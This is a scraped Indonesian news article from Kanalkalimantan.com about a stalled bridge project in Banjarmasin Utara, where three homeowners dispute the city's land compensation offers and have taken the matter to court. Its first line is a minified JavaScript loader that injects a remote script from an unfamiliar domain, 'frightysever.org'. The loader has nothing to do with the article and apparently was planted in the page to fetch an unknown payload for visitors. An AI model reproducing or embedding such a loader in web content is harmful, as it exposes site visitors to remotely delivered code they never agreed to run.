(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARMASIN – Proyek infrastruktur pembangunan jembatan di Jalan Perdagangan HKSN, Banjarmasin Utara terkendala belum tuntas ganti rugi pembebasan lahan dan bangunan.
Ya, hingga sekarang ini masih ada tiga buah bangunan rumah yang masih berdiri di lahan yang statusnya masih belum dibebaskan.
Para pemilik lahan beranggapan bahwa nilai ganti rugi yang ditawarkan oleh Pemerintah Kota (Pemko) Banjarmasin dinilai sangat kecil dan cenderung kurang adil bagi pemilik lahan.
Rabu (29/12/2021) siang Kanalkalimantan.com melihat langsung proyek pembangunan jembatan dan menemui salah satu dari pemilik lahan yang masih belum dibebaskan bernama Arif (34).
Baca juga : RSD Idaman Banjarbaru Raih Penghargaan Eco Office Award 2021
“Kami sebenarnya masih menunggu konfirmasi dan penjelasan dari pemerintah masalah harga ganti rugi rumah kami, tapi alasanya pemerintah cuma sedang diusahakan dan sedang diusahakan, eh tahu-tahu pihak kami malah dapat SP 1 (Surat Peringatan) bahkan sudah sampai SP 2 hari Senin kemarin tanggal 26 Desember 2021,” ucap Arif.
Arif mengatakan, dari Pemko juga tidak mau terbuka kepada para pemilik lahan atas dasar penetapan harga tersebut. Adapun harga ganti rugi yang ditawarkan Pemko Banjarmasin untuk ketiga rumah tersebut yakni Rp400 juta, Rp550 juta, dan Rp815 juta.
Perlu diketahui, dari penjelasan Arif, salah satu pemilik lahan mengatakan harga ganti rugi yang ditawarkan oleh Pemko Banjarmasin mentok di angka 550 juta untuk rumahnya, tidak kurang tidak lebih.
Sedangkan para pemilik lahan meminta harga untuk tiga rumah tersebut masing masing angka Rp 1,2 M, Rp900 juta, dan Rp700 juta.
“Posisi bangunan kami itu di pinggir jalan dan ada tempat usahanya, kalau dengan harga segitu mana mungkin kami dapat tempat yang sama, ditambah lagi di sebelah ada rumah biasa gak ada tempat usahanya, tapi laku dengan harga ganti rugi 1 miliar lebih,” beber Arif.
Baca juga : BBPJN Janji Akan Lakukan Pengawasan Lebih Ketat ke Kontraktor
Hingga saat ini para pemilik lahan tidak pernah diajak bernegoisasi untuk penetapan masalah harga ganti rugi tanah dan bangunan. Bahkan saat ingin meminta data kepada pihak appraisal untuk dasar nilai ganti rugi hingga saat tidak bisa ditemui, perihal penetapan harga ganti rugi.
Pihaknya, kata Arif telah melakukan gugatan ke Pengadilan Negeri Banjarmasin perihal masalah ganti rugi lahan dan bangunan tersebut. Dan proses persidangan akan berlangsung pada 5 Januari 2022.
“Hanya dengan jalur hukum, kami bisa meminta kejelasan terhadap nasib tanah dan bangunan yang akan digusur pemerintah kota melalui pengadilan,” tandas Arif. (kanalkalimantan.com/seno)
Reporter : Seno
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More
This website uses cookies.